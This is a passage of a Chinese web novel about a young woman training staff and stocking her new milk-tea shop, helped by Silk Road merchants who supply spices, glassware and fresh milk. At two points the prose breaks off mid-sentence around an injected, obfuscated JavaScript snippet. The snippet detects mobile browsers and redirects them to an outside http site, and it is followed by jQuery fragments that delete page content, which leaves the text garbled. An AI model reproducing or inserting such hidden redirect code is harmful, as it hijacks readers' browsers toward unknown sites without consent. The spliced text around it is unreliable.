“李婶!”江心月赶紧拦住她要往锅里加茶叶的手,“得等水冒小泡才能下。” “晓得晓得。”李婶摆摆手,“老婆子煮了几十年糖水,还能不懂这个?” 可当江心月示范搓珍珠时,李婶的动作却格外认真。她粗糙的手指灵活地揉捏着木薯团,搓出来的珍珠个个圆润饱满。 “您这手艺......”江心月惊叹道。 “揉面揉惯了。”李婶得意地扬起下巴,突然往珍珠芯里塞了粒糖,“这样更甜。” 江心月哭笑不得:“李婶,咱们的方子......” “晓得晓得,规矩嘛。”李婶讪讪地笑了,可转眼又往蜂蜜罐里多舀了半勺,“就一点点,客人肯定尝不出来。” 呆六娘扒着门框偷笑,被江心月瞪了一眼。李婶却已经哼着小调去搅茶汤了,灶台前的背影透着股老手艺人的自信。 “其实......”江心月凑过去小声说,“我们有个秘方,能让茶更香。” 李婶的耳朵立刻竖了起来:“啥秘方?” “就是......”江心月故意拖长声调,“严格按照配方来。” 李婶先是一愣,继而拍着大腿笑起来:“好你个丫头,拐着弯教训老婆子呢!” 夕阳透过窗棂,把三个人的影子投在墙上。李婶最后那碗茶还是偷偷多加了蜜,可奇怪的是,味道竟然出奇的好。 “怎么样?”李婶得意地挑眉。 江心月咂咂嘴:“明天......您还来吗?” “来!”李婶解下围裙,“不过得等我家糖水铺打烊后。” 门外传来糖水铺伙计的喊声,李婶匆匆往外走,临到门口又回头:“对了,明儿我带些桂花糖来,配奶茶肯定香!” 呆六娘望着她风风火火的背影,突然说:“三娘,咱们是不是该给李婶准备个专用蜂蜜罐?” 江心月看着桌上那碗甜得恰到好处的奶茶,笑着摇了摇头。 傍晚,江心月把几个新人叫到一起。 “从明儿个起,”江心月敲了敲墙上的木牌,“你们就是珍珠坊的人了。”牌子上“珍珠坊”三个字在灯光下泛着温润的光。 春桃的背挺得笔直,手指不自觉地绞着衣角。阿成倒是坐不住,一会儿摸摸茶壶,一会儿碰碰糖罐。 “学成了之后,”江心月继续说,“想自己开铺子的,也能用咱们的招牌。” 阿成突然停下摆弄茶匙的手:“老板娘,您真不怕我们......” “阿成!”呆六娘急得直跺脚。 江心月却不慌不忙地从柜台底下端出个托盘,上面摆着四五个陶杯。杯里的液体颜色各异,有的深得像酱油,有的浅得发白。 “都尝尝。”她推了推托盘。 李婶最先拿起一杯,刚抿一口就皱起脸:“哎哟,这糖不要钱呐?” 春桃被呛得直咳嗽:“好苦!像喝药......” “这是......”春桃皱着脸,“怎么有的苦,有的甜得发腻?” “这是城里其他铺子模仿咱们做的奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359037|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶。”江心月平静地说,“如果随便改方子,就是这个结果。” 李婶咂咂嘴:“确实差远了。” “所以,”江心月看着他们,“用咱们的招牌,就得按咱们的规矩来。味道统一了,客人走到哪儿都能喝到一样的奶茶。” 阿成把每杯都尝了个遍,最后吐着舌头问:“他们怎么不按正经方子来?” “为了省钱,或者想搞点新花样。”江心月收起杯子,“结果呢?” “难喝死了!”呆六娘抢着说。 春桃小声补充:“像我们村头药铺的咳嗽糖浆......” 李婶突然拍了下大腿:“我懂了!就像我家糖水铺,要是今天多搁糖明天少放枣,客人早跑光了!” “正是这个理儿。”江心月笑着点头,“用珍珠坊的招牌,就得按珍珠坊的方子来。” 阿成若有所思地点点头:“懂了,就跟我们酒楼的老汤一样,秘方不能乱改。” 春桃挠挠头:“那要是有人偷偷改配方......” “简单。”江心月从柜台取出个小本子,“每月我会去各家铺子尝奶茶,味道不对的——”她故意拖长声调,“就摘招牌。” 春桃倒吸一口凉气,阿成的眼睛瞪得溜圆。只有李婶乐呵呵地掏出她的小本子:“快说说,明儿个先学啥?” “炒茶叶。”江心月指了指后厨那口铁锅,“天亮就开始。” 天边刚泛起鱼肚白,春桃就轻手轻脚地推开了珍珠坊的后门。木门“吱呀”一声,惊醒了趴在门墩上打盹的大黄猫,它不满地“喵”了一声,甩着尾巴溜走了。 晨露沾湿了她的鞋尖,在石板上留下几个浅浅的脚印。她搓了搓有些发凉的手指,蹲下身拨开灶膛里的余灰,火星子“噼啪”一声蹦出来,新添的柴火很快窜起火苗,映得她脸颊发红。 “春桃姐来得真早。”呆六娘揉着眼睛从里屋出来,怀里抱着的蜂蜜罐子差点撞上门框。她打了个哈欠,眼角还挂着泪花:“我梦见蜂蜜洒了,吓得赶紧起来看看。” 春桃往铜壶里灌着井水,水花溅在她的衣摆上:“我想着先把水烧上,等会儿大家来了就能直接用。” 后院的芦花鸡刚叫过头遍,阿成就风风火火地冲了进来,布鞋底在门槛上绊了一下,差点撞翻门口的水桶。“老板娘说今天教炒茶!”他兴奋地搓着手。 “急什么,”江心月系着围裙从仓库出来,手里捧着装茶叶的竹篓,“茶叶还没晒透呢。”她朝院子里努了努嘴,竹筛上摊开的茶叶还带着晨露的水汽,“得等日头把露水收干了才行。” 阿成蹲在竹筛旁边,像只守着鱼干的猫。他时不时用手指拨弄茶叶,被江心月用木勺轻轻敲了下手背:“别乱碰,手上汗气要沾到茶叶上的。”她递过一把小竹耙,“要翻也得用这个,轻着点儿。” 太阳爬上屋檐时,铁锅已经烧得微微发红。江心月挽起袖子示范翻炒的动作,手腕灵活地转动着木铲:“要这样贴着锅底推,不能太用力。” 阿成学着她的样子,刚凑近就被热气熏得直往后仰,眼睛眯成一条缝:“咳咳......这比酒楼炒菜还呛人!”他一边咳嗽一边还不忘翻动茶叶,模样滑稽得很。 “傻小子,炒茶讲究的是文火慢煨。”李婶挎着竹篮进门就听见这话,篮子里装满了新摘的桂花,金灿灿的像撒了一篮子星星。她把篮子放在石磨上,从怀里掏出个油纸包:“先吃早饭,我带了芝麻烧饼。” 春桃立刻端来和好的木薯粉团,李婶洗了手就坐在小凳上开始搓珍珠。她手指头又粗又短,搓出来的珍珠却圆滚滚的:“要搓够一百颗才算及格,阿成你来数着。” “我手笨,搓不圆。”阿成啃着烧饼含混地说,芝麻粒掉在衣襟上。 春桃已经麻利地搓起来,小珍珠在她掌心一滚就成型,排在小竹筛里像列队的士兵。“九十八、九十九......”数到一百时,她得意地冲阿成扬了扬下巴,鼻尖上沾了点儿面粉。 呆六娘在各个工序间转来转去,突然凑到炒锅前嗅了嗅:“三娘,茶叶是不是快好了?我闻着有点焦糖香了。” 江心月赶紧接过阿成手里的铲子:“差点就过火了。”她麻利地把茶叶盛出来,倒在竹匾上摊凉,热气带着茶香在晨光里升腾。 阿成挠挠头,鼻子上又多了道黑灰:“老板娘,我是不是太笨了?连火候都看不好。” “谁说的,”江心月把晾好的茶叶装进青瓷罐,顺手用袖子给阿成擦了擦脸,“你比昨天进步多了,昨天还把茶叶炒糊了呢。 毕竟我可是十岁就开始炒茶了,都炒了十多年了,哪能跟我比,江心月臭屁地想。 春桃递来湿毛巾让他擦脸,李婶则往每人手里塞了把桂花:“待会儿煮茶时撒点儿,保准香飘整条街。” 晨光洒进店里,照得每个人的笑脸都明亮亮的。街上的行人渐渐多起来,珍珠坊的一天,就这样热气腾腾地开始了。 16. 第 16 章 江心月正往杯里舀昨晚熬好的黑糖珍珠,忽然听见街角传来清脆的驼铃声。 “江姑娘!” 阿尔罕骑着一匹枣红色大马从晨雾中钻出来,身后跟着三头满载货物的骆驼。他今天穿着靛青色胡服,腰间银饰叮当作响,脸上还带着长途跋涉的风尘。 “你可算回来了!”江心月放下木勺,提着裙摆小跑过去,“路上还顺利吗?” 阿尔罕利落地翻身下马,胡靴踩在青石板上发出清脆的响声。他拍了拍最前面那头骆驼的脖子:“瞧瞧我给你带什么好东西来了!” 江心月好奇地凑近,闻到一股混合着肉桂、丁香和不知名香料的复杂气味。阿尔罕解开骆驼背上的油布,露出十几个用草绳捆扎的牛皮包裹。 “这是你说的锡兰肉桂。”他解开其中一个包裹,褐色的树皮卷散发着甜辣的香气,“还有大食国的丁香,白水的玫瑰花露。” 江心月小心翼翼地捏起一小块肉桂,放在鼻尖轻嗅,眼睛顿时亮了起来:“比药铺卖的香多了!” 阿尔罕得意地翘起胡子:“那当然,这可是从锡兰商队手里直接买的。”他又掀开另一个藤筐,“再看看这个。” 筐里整整齐齐码着几十个透明玻璃杯,在晨光下闪着微光。江心月轻呼一声,拿起一个对着阳光看:“这么透亮的杯子!长安城里都少见。” “波斯匠人吹的。”阿尔罕用袖子擦了擦杯壁上的草屑,“特意让他们做得厚实些,不容易碎。” 江心月爱不释手地摩挲着杯身,忽然想起什么:“这些......很贵吧?” 阿尔罕摆摆手:“说好给你带开店用的东西,谈什么钱。”他转身指向最后一头骆驼,“还有更实用的呢。” 那骆驼背上驮着两个大木箱。阿尔罕打开其中一个,里面塞满了干草,扒开干草,露出几个造型奇特的铜壶。 “这是西域人煮奶茶用的壶。”阿尔罕拿出一个带长嘴的扁圆壶,“底下能放炭火保温,这头出茶汤,中间还能过滤茶渣。” 江心月接过铜壶,沉甸甸的很有分量。她试着倾斜壶身,壶嘴立刻流出一道想象中的茶汤弧线:“太精巧了!” 阿尔罕看她喜欢,眼角笑出了细纹:“就知道你会用得上。”他拍拍木箱,“一共带了六个,够你用了吧?” “足够了!”江心月连连点头,“正好赶上开店用。”她突然想起炉子上还烧着水,“哎呀,我的水要烧干了!” 两人赶紧回到茶摊前。江心月麻利地提起铜壶,往准备好的茶杯里冲入热水。 阿尔罕好奇地看着她往杯中加入一勺桂花蜜:“这就是你说的‘桂花蜜酿奶茶''?” “尝尝看。”江心月递给他一杯,“这个蜜糖可不一般。” 阿尔罕接过杯子,学着江心月的样子用芦苇杆吸了一口,烫得直吐舌头:“嚯!甜滋滋的,这蜜糖确实浓厚。” “慢点喝,刚烧开的水。”江心月忍不住笑了,“怎么样,跟西域的奶茶比?” 阿尔罕又小心地吸了一口,细细品味:“不一样的风味。西域的奶茶偏咸,加很多香料。你这个...更清爽,适合长安人的口味。” 正说着,陈婶挎着菜篮子从市场回来,看见阿尔罕就嚷嚷开了:“哟,胡商小哥回来啦!这次没被沙漠里的妖精抓走吧?” 阿尔罕哈哈大笑:“陈婶还是这么精神!我给您带了撒马尔罕的葡萄干。”他从怀里掏出个小布袋,“甜得很,煮粥放几粒,保管您喜欢。” 陈婶接过袋子,捏了一粒放进嘴里,眼睛立刻眯成缝:“唔......是比西市卖的好吃。”她转头对江心月说,“三娘子,还不请人家进屋坐?让人在街上站着像什么话。” 江心月这才反应过来,赶紧招呼阿尔罕进店。珍珠坊里间已经收拾得差不多了,新打的榆木柜台擦得发亮,墙边架子上整齐地摆着各色茶叶罐。 阿尔罕环顾四周,满意地点点头:“比我想象中快多了。上次走的时候,这还堆满建材呢。” “多亏陈婶帮忙。”江心月搬来两个圆凳,“她天天盯着木匠干活,比监工还严。” 阿尔罕把带来的货物一件件摆在柜台上。除了香料和茶具,还有几卷色彩鲜艳的波斯织锦:“铺桌子用,显得铺子亮堂。” 江心月展开一卷,金线织就的葡萄藤图案在阳光下闪闪发光:“这太贵重了。” “开店总要有些体面摆设。”阿尔罕不以为意,“再说了,你教我做珍珠奶茶的方子,我还没谢你呢。” 阿尔罕转向江心月,“对了,我认识一个北境牧场的大哥,改天介绍你们认识。” 江心月惊喜地拍手:“太好了!我正愁鲜奶供应不稳定呢。” “巴图大哥人实在,就是说话有点口音。”阿尔罕模仿着牧民的腔调,“他说''咱家的奶牛喝的是山泉水,吃的是首蓿草,挤出来的奶能甜掉牙''。” 众人都被他的怪腔怪调逗笑了。陈婶端着刚切好的香瓜进来:“阿尔罕小哥,尝尝本地香瓜,不比你们西域的甜瓜差。” 阿尔罕接过瓜咬了一大口,汁水顺着下巴流下来:“嗯!脆甜脆甜的。” 江心月递给他一块帕子:“慢点吃,没人跟你抢。” 阿尔罕不好意思地擦擦嘴:“路上尽吃干粮了,看见新鲜瓜果就馋。”他从腰间解下一个皮水囊,“尝尝这个,大宛的葡萄酿,配香瓜正好。” 江心月小心地抿了一口,酸甜中带着微微的涩味,后味却很醇厚:“有点像酸梅汤,但更醇香。” “配奶茶也不错。”阿尔罕神秘地眨眨眼,“西域有种喝法,在奶茶里加一点点葡萄酒,风味独特。” 江心月若有所思:“或许可以试试。” 阿尔罕指了指里屋,“那些香料我都标好了名字和用法,你有空可以试试不同配方。” 江心月点点头,突然想起什么:“你这次能在永安城待多久?” “商队休整半个月。”阿尔罕把抹布拧干,“怎么,有事要我帮忙?” “我想......”江心月犹豫了一下,“正式开业那天,你能不能来帮忙?你对西域茶饮熟悉,客人问起来也好解释。” 阿尔罕爽快地答应:“当然可以!正好我也学学你怎么经营茶铺。”他压低声音,“其实我有个想法...等你有空了细说。” 正说着,陈婶端着食盒进来:“忙了一上午,都饿了吧?刚蒸的羊肉包子,趁热吃。” 阿尔罕接过食盒,深深吸了口气:“真香!陈婶的手艺越来越好了。” “少拍马屁。”陈婶嘴上这么说,脸上却笑开了花,“快吃吧,凉了膻气重。” 三人围坐在后院的小石桌旁吃午饭。阿尔罕狼吞虎咽地吃了三个包子才放慢速度:“陈婶,这馅儿里加了什么香料?比我上次吃的更鲜了。” “就放了点姜末和花椒油。”陈婶得意地说,“关键是肉要剁得细,边剁边打水,这样馅儿才嫩。” 江心月小口咬着包子,突然问:“阿尔罕,你刚才说的想法是什么?” 阿尔罕放下筷子,认真地说:“我在想,等珍珠坊生意稳定了,或许可以把你的奶茶带到西域去。撒马尔罕、巴格达那些地方,肯定受欢迎。” 江心月惊讶地睁大眼睛:“真的吗?” “当然。”阿尔罕点点头,“西域人爱喝茶,但都是传统的煮茶法。你这种加珍珠的喝法,又新奇又好喝。” 陈婶插嘴道:“那三娘子岂不是要发财了?” “发财倒说不上。”阿尔罕笑道,“但肯定能赚不少。就是运输珍珠原料比较麻烦......” 江心月兴奋地打断他:“可以用晒干的木薯粉!用水一泡就能复原,我在......我听人说过这种方法。” 阿尔罕眼睛一亮:“好主意!下次商队出发前,我们可以先试做一批。” 三人越说越起劲,一顿饭吃了足足一个时辰。 饭后,阿尔罕告辞:“我得去商队报到了,明天再来帮你收拾。” 看着阿尔罕骑马离去的背影消失在街角,江心月转身回到珍珠坊,迫不及待地打开那包锡兰肉桂。浓郁的香气立刻充满了整个屋子,她小心地捏了一小撮放入茶壶,加入煮沸的羊奶。 随着茶汤慢慢变成琥珀色,一种前所未有的醇厚香气弥漫开来。 “这味道......”江心月轻轻搅动着茶汤,突然听到门外传来陈婶的惊呼声:“三娘子!快来看!” 她放下茶匙跑到门口,只见陈婶正对着街口张望。 远处传来熟悉的驼铃声,越来越近。阿尔罕骑着他那匹枣红色大马出现在街角,身后依旧跟着那几头满载货物的骆驼。 “江姑娘!”阿尔罕远远地就挥手喊道,声音里带着掩饰不住的兴奋,“看看我给你带什么好东西来了!” 江心月上前迎了过去,阿尔罕已经利落地翻身下马。 “你怎么又回来了?”江心月仰头问道,风吹乱了她额前的碎发。 “光顾着香料和茶具,差点忘了最重要的东西。”阿尔罕揭开最前面骆驼背上的藤筐,取出一个密封的陶罐,“这是北境牧场的鲜乳,今早刚挤的,用冰镇着运来。” 江心月接过陶罐,凉丝丝的触感让她惊喜地睁大眼睛。她小心地揭开蜡封,一股浓郁的奶香立刻飘了出来,比羊奶更加醇厚。 “太好了!”她忍不住深吸一口气,“比我之前用的羊奶香多了!” 阿尔罕得意地捋了捋翘起的胡子:“还有更好的呢。”他转身朝后面招了招手,“巴图大哥,快来见见江姑娘!” 一个皮肤黝黑的壮实汉子从后面的骆驼上跳下来,走路时带着草原人特有的豪迈步伐。“阿尔罕兄弟一路上都在夸江姑娘的茶艺,”他的官话带着浓重的口音,“咱牧场的奶能入姑娘的法眼,是咱的福气。” 江心月连忙行礼:“巴图大哥远道而来辛苦了,快请进店里喝杯茶歇歇脚。” 阿尔罕拍了拍巴图的肩膀:“江姑娘的珍珠奶茶你可得尝尝,保准你喝完还想喝。” 巴图爽朗大笑:“那敢情好!咱草原人最爱喝奶茶了!” 珍珠坊里间还堆着未拆封的货物,江心月麻利地清出一张榆木方桌。 “这是用您上次给的香料煮的。”江心月端上三盏描金瓷杯,琥珀色的奶茶上浮着几粒黑珍珠,“您尝尝味道如何?” 巴图双手接过,抿了一口就瞪圆了眼睛:“咦?这滑溜溜的小珠子是啥?” “这叫珍珠奶茶。”阿尔罕抢先解释,他故意吸得呼噜响,“西域那边可流行了,就是缺了江姑娘这个味儿。” 江心月看着巴图小心翼翼咬破珍珠的模样,忍不住笑了:“巴图大哥要是喜欢,我每天让人送一壶去牧场。” “那敢情好!”巴图搓着手,黝黑的脸上泛起红光,“不过咱得先说正事。阿尔罕说姑娘要长期订鲜奶?” 江心月点点头,从柜台下取出早已拟好的契约:“我想每天要二十罐,早晚各送一次。天气热的时候,还得麻烦您用冰镇着。” 巴图接过契约却不看,直接递给阿尔罕:“兄弟你帮我瞅瞅。” 阿尔罕仔细看完条款,突然指着某处说:“这里要改改。遇到暴风雪封路,延迟送奶不能算违约。” “对对对!”巴图连忙补充,“去年冬月连着刮了十天白毛风,牲口都冻死好几头。” 江心月咬了咬嘴唇:“可鲜奶断供的话,我这生意......” “这样,”阿尔罕用指节敲着桌面,“让巴图大哥在牧场挖个地窖存冰,夏天多备些干货奶粉应急。” 巴图拍腿大笑:“还是你小子机灵!咱牧场后山有个现成的冰洞!” 三人正说得热闹,门外突然传来陈婶的大嗓门:“三娘子!面发好了等着蒸呢!” 江心月一拍脑门:“差点忘了今天试新点心!”她转头对巴图说,“大哥要不要尝尝奶香馒头?用您家牛奶和的面。” 巴图乐呵呵地跟着进了后院。厨房里蒸汽腾腾,陈婶正把最后一笼馒头端上灶。见有生人进来,她赶紧用围裙擦了擦手。 “这位是北境牧场的巴图大哥。”江心月介绍道,“以后咱们的鲜奶都从他那儿进。” 陈婶上下打量着巴图,突然问:“你们牧场给奶掺水不?” 巴图顿时涨红了脸:“大姐这话说的!我们草原人最恨弄虚作假!” 眼看气氛要僵,阿尔罕赶紧掰开一个刚出锅的馒头。雪白的馒头蓬松得像云朵,冒着丝丝热气。“巴图大哥你闻闻,这奶香味多正!” 巴图凑近深吸一口气,脸色缓和下来:“是咱牧场的味儿。”他接过馒头咬了一大口,烫得直哈气也不舍得吐,“香!真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359038|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香!” 陈婶这才露出笑容,又端出一碟蜂蜜:“蘸这个吃更香。” 四人围坐在厨房的小桌前,就着蜂蜜分食刚出笼的馒头。江心月趁机提出:“巴图大哥,我想在契约里加一条。如果牛奶质量好,每月多付您一成价钱。” 巴图惊讶得忘了咀嚼:“还有这好事?” “应该的。”江心月认真地说,“您不知道,以前买的奶总掺水,做出来的奶茶客人一喝就尝出来。” 阿尔罕插嘴道:“巴图大哥的牧场我去过,奶牛吃的都是苜蓿草,喝的山泉水,奶质绝对没话说。” “那咱们就这么定了!”巴图伸出粗糙的大手,“我巴图向长生天起誓,供给江姑娘的奶要是有半滴假,叫我放牧摔断腿!” 江心月被他逗笑了,也郑重地伸出手:“合作愉快。” 三人正说着,呆六娘挎着茶筐探头进来:“三娘,新摘的茶......”她话说到一半,突然瞧见屋里多了个陌生大汉,吓得往后一缩,差点打翻茶筐。 “六娘别怕。”江心月招手让她进来,“这是巴图大哥,从北境草原来的,以后咱们铺子的鲜奶都由他供应。” 巴图赶紧站起来,高大的身影在屋里显得格外魁梧。他笨拙地往后退了半步,像是怕吓着小姑娘,从怀里掏出个彩绘小泥人:“送你的,于阗集市上买的。” 呆六娘接过泥人,是个穿着鲜艳胡裙的跳舞小人,红蓝相间的颜料在阳光下闪闪发亮。她用指尖轻轻碰了碰泥人的发辫,小声问:“她会转吗?” “你转转看。”巴图憨厚地笑着,做了个旋转的手势。 呆六娘试着扭动泥人底座,小人果然轻盈地转起圈来,彩裙飞扬。“真好看!”她终于露出笑容,“谢谢胡人哥哥。” “叫巴图就行。”巴图搓了搓粗糙的大手,“咱草原上也有你这样大的丫头,整天骑马放羊,野得很。” 呆六娘好奇地睁大眼睛:“女孩子也能骑马?” “那可不!”巴图来了精神,“咱家闺女八岁就能独自赶羊群了。” 江心月看着两人聊得热络,转身去沏茶。窗外的日头已经西斜,在地上投下长长的影子。她估摸了下时辰,扬声问道:“陈婶,晚饭多做些吧?留巴图大哥和阿尔罕吃饭。” 厨房里传来陈婶爽快的应答:“正炖着鸡汤呢!六娘,去后院摘把嫩葱来。” 呆六娘应了声,小心地把泥人揣进怀里,蹦跳着往后院跑去。 契约签完时,暮色已经笼罩了小院。陈婶利落地摆好碗筷,一盆金黄的野菌炒蛋,一锅冒着热气的香菇炖鸡,还有刚出锅的粟米饭,香气勾得人肚子直叫。 巴图吃得满头大汗,连添了三碗饭:“陈婶这手艺,比咱草原上的烤肉还香!” “慢点吃,锅里还有。”陈婶被夸得眉开眼笑,又给他舀了勺鸡汤,“这菌子是今早刚采的,鲜着呢。” 阿尔罕夹了块鸡肉放进江心月碗里:“尝尝这个鸡腿,炖得烂乎。” 江心月道了声谢,突然想起什么:“对了巴图大哥,你们牧场的奶酪是什么味道的?” “酸中带甜,奶香浓得很。”巴图比划着,“我婆娘做的还能拉丝呢!” 阿尔罕眼睛一亮:“江姑娘不是说要做什么奶茶蛋糕吗?用这个奶酪正合适。” “蛋糕?”巴图疑惑地挠挠头,“是胡饼吗?” 江心月放下筷子,双手比划着:“是一种蓬松的点心,用鸡蛋、面粉和奶做的,蒸或者烤出来,软绵绵的像云朵。” “听着就好吃!”巴图拍了下大腿,“下回我让婆娘多做些,连做法一块儿带来!” 吃完饭,阿尔罕帮着收拾碗筷。巴图则去院子里照料骆驼,把带来的货物卸下来。江心月跟出去帮忙,月光下,骆驼正悠闲地嚼着干草。 “还有这个......”阿尔罕神秘兮兮地取出几捆油纸包着的东西。 江心月好奇地摸了摸:“硬邦邦的,像石头似的。” 阿尔罕解开绳结,露出里面黄褐色的块状物:“岭南的甘蔗糖,比你们用的饴糖香甜多了。” 江心月掰下一小块含在嘴里,甜味立刻在舌尖化开,还带着淡淡的焦香,像是把阳光都浓缩在了这一小块糖里。“真好吃!”她惊喜地说,“这个要多少钱?” “这批不要钱。”阿尔罕摆摆手,“你先试着用,要是客人喜欢,下次商队来再谈价钱。” 巴图也从怀里掏出个鼓鼓的牛皮小袋:“这是咱家自产的奶油,姑娘拿去尝尝。做那个、那个蛋糕准用得上。” 江心月接过袋子,隔着牛皮都能感受到微微的温热,想来是巴图一直贴心揣在怀里保温。 阿尔罕把最后一箱货物搬进屋里,拍了拍手上的灰尘:“那我们就先告辞了。”他转向巴图,“大哥,咱们还得去驿馆安置骆驼。” 巴图点点头,笨拙地向江心月行了个礼:“姑娘有事尽管吩咐,咱牧场离永安城就半日路程。” “真是太谢谢你们了。”江心月诚恳地说,“有了这些好东西,珍珠坊一定能开得红火。” 阿尔罕摆摆手:“客气什么。”他翻身上马,忽然想起什么,“对了,开业那天我穿什么合适?要不要换身唐装?” 江心月忍俊不禁:“穿你习惯的就好,胡服挺好看的。” 阿尔罕点点头,轻轻一夹马腹:“那开业那天见!” 送走两人后,江心月迫不及待地拉着陈婶和呆六娘试验新糖。小泥炉上的铜锅里,奶茶咕嘟咕嘟冒着泡,她加入一小块甘蔗糖,香甜的气息立刻弥漫开来。 “先尝尝。”江心月舀了一勺递给陈婶。 陈婶吹了吹热气,小心抿了一口,眉毛顿时扬得老高:“咦?这甜味不一样!” “是不是更醇厚?”江心月自己也尝了一口,满足地眯起眼睛,“像把整个夏天的阳光都喝进去了。” 呆六娘捧着碗小口啜饮,突然说:“三娘,咱们给这糖水起个名吧?叫......叫‘阳光奶茶’好不好?” 江心月笑着揉揉她的脑袋:“好名字!等开业那天,就把它作为招牌新品。” 窗外,月亮已经爬上了树梢。江心月收拾着桌上的糖块和奶油,心里盘算着明天的安排。有了这些新食材,珍珠坊的菜单又能添好几道点心了。她轻轻哼起了小曲,连脚步都变得轻快起来。 17. 第 17 章 呆六娘咬着毛笔杆,皱着眉头把算盘珠子拨得噼啪响,突然抬头喊了一声:“三娘!” “嗯?”江心月正用软布仔细擦拭新到的琉璃杯。 “咱们是不是该招个账房先生了?”呆六娘把账本转过来,上面密密麻麻记满了进货的数字,“光这些天的材料钱就记了三页纸,我手指头都快算抽筋了。” 江心月举起琉璃杯对着光检查,头也不抬:“不急,先把他们几个教出师再说。” “啊?”呆六娘撂下毛笔,托着腮帮子问,“那咱们到底什么时候开张啊?”她眼睛亮晶晶的,“我都等不及要看客人们喝到咱们奶茶的样子了!” 江心月手上的动作顿了顿,目光扫向后厨,春桃正踮着脚往铜锅里加糖浆,小脸绷得紧紧的;阿成蹲在泥炉前,时不时用木勺搅动茶汤;李婶一边哼着小调一边往瓷杯里舀蜂蜜。 清脆的掌声在店里回荡,“都停下手里活儿,过来。” 四个人齐刷刷抬头,春桃的手一抖,糖浆差点洒出来。 “每人做一杯自己最拿手的奶茶。”江心月指了指柜台,“让我看看这些天学的怎么样。” 阿成紧张地话都说不明白:“现、现在?就在这儿做?” “怎么?”李婶插着腰笑道,“学了这些天还怕露怯?老婆子我都不怕。”说着已经利落地系上围裙,把袖子挽到手肘。 不一会儿,四杯奶茶整齐地摆在柜台上。春桃做的珍珠奶茶,黑珍珠在琥珀色的茶汤里沉沉浮浮;阿成的炒茶奶茶飘着袅袅热气,茶香扑鼻;李婶的特调加了桂花蜜,金黄的桂花瓣点缀在奶泡上;连呆六娘也凑热闹,做了杯蜂蜜奶茶,杯沿还粘着半片蜂巢。 江心月挨个捧起杯子品尝,每喝一口都要闭眼细细回味。店里静得能听见炭火“噼啪”的声响和几个人紧张的呼吸声。 “春桃的珍珠,”她终于开口,“煮得恰到好处,Q弹有嚼劲。” 春桃长舒一口气,揪着衣角的手终于松开了。 “阿成的茶汤......”阿成不自觉地屏住呼吸,“比昨天顺滑多了,就是炒得稍微过了点火候。” 阿成挠挠头,不好意思地笑了:“我下次少炒半刻钟。” 李婶迫不及待地往前凑了凑:“我的呢?快尝尝我的。” “甜度刚好,”江心月抿了一口,“就是桂花放多了两粒,抢了奶香。” “哎哟!”李婶拍了下大腿,“我就说怎么闻着香得发腻呢!” 呆六娘急得直跺脚,杯子里的奶茶都晃出来了:“我的呢我的呢?” “你的嘛......”江心月故意拖长音调,看着呆六娘急得鼻尖都冒汗了,“蜂蜜沉底了,没搅匀。” 呆六娘“啊”了一声,抓起竹勺就要补救,被江心月拦住了。 “不过——”江心月环视众人,嘴角慢慢上扬,“明天正式开张,大家都来上工!” “真的?”春桃手里的竹筛“啪嗒”掉在桌上。 阿成激动地一把抱起身边的圆凳转了个圈,被李婶用铜勺敲了下脑袋:“轻点儿!凳子腿都要被你晃散了!” 呆六娘已经像只小麻雀似的蹦到门口,冲着街对面布庄喊:“张叔!明天咱们珍珠坊开张,头十碗免费!您可一定要来啊!” 江心月看着欢呼雀跃的众人,桃红扑扑的脸蛋上沾着糖渍,阿成洗得发白的衣襟上满是茶渍,李婶笑得眼睛眯成两条缝,眼角堆起深深的皱纹,还有呆六娘手舞足蹈时飞扬的辫梢。 她端起自己那杯喝剩的奶茶,轻轻碰了碰其他几个杯子:“今晚都早点歇着,明天有的忙呢。” 春桃反复清点着珍珠存货,阿成把茶具擦了一遍又一遍,李婶非要把蜂蜜罐子按大小重新排列。 江心月站在门口,望着屋里忙碌的身影。微风送来隔壁酒坊的糯米香,混着店里飘出的奶茶甜味,这是独属于永安西市的气息。 晌午的日头刚藏起来,门外就传来重物搬动的声音。 呆六娘突然从账本里抬起头,眼睛亮晶晶的:“三娘!牌匾送来了,我们去挂上吧!”她一把拉起江心月的手腕就往门外跑。 “慢点儿!”江心月被她拽得一个踉跄,差点撞翻桌上的茶壶,“总得先找梯子吧?” 陈婶正巧抱着洗好的茶巾从后院进来,见状立刻喊道:“梯子在柴房搁着呢!六丫头你毛手毛脚的,别摔着三娘!” 呆六娘吐了吐舌头,一溜烟跑去柴房,不一会儿就扛着木梯回来了,脸上沾了几道灰印子。江心月接过梯子,轻轻架在门楣旁。“珍珠坊”牌匾在阳光下闪闪发亮,晃得人睁不开眼。 “呆六娘,扶稳了!”江心月拎起裙角,小心翼翼地踩上梯子。 梯子底下,呆六娘立刻用用整个身子抵着摇晃的木梯,鼻尖上不知什么时候蹭了道白灰,活像只小花猫。“我扶着呢!”她仰着脖子应道,声音因为用力而发颤,“我的脖子要断了!” 陈婶站在街中央,双手拢在嘴边喊道:“再往右边挪半寸!” 江心月踮起脚尖,纤细的手指轻轻拨动牌匾。牌匾有些分量,她的手臂微微发抖。“再往右挪半寸......”她咬着下唇,额头上渗出细密的汗珠,“好了!” 